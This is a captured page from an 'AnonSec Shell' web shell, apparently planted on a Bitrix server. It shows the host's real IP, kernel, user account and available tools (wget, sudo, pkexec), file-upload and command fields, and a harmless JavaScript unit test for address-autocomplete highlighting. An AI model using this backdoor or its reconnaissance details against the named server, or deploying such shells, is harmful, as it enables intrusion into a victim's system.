AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 18.217.44.168
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/bitrix/www/bitrix/js/location/widget/test/autocomplete/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/bitrix/www/bitrix/js/location/widget/test/autocomplete/prompt.test.js
/* global assert */
import Prompt from '../../src/autocomplete/prompt';

describe('Prompt', () => {

	it('Should be a function', () => {
		assert(typeof Prompt === 'function');
	});

	describe('createMenuItemText', () => {
		it('Should highlight searching text', () => {

			let res = Prompt.createMenuItemText('Russia', 'Rus');
			assert.equal(res, '<strong>Rus</strong>sia');

			res = Prompt.createMenuItemText('Russia', 'uss');
			assert.equal(res, 'R<strong>uss</strong>ia');

			res = Prompt.createMenuItemText('Russia', 'sia');
			assert.equal(res, 'Rus<strong>sia</strong>');

			res = Prompt.createMenuItemText('Russia', 'qwe');
			assert.equal(res, 'Russia');

			res = Prompt.createMenuItemText('901 Pitt Street, Mount Pleasant', '901 Pit str');
			assert.equal(res, '<strong>901</strong> <strong>Pit</strong>t <strong>str</strong>eet, Mount Pleasant');
		});
	});
});

Anon7 - 2022
AnonSec Team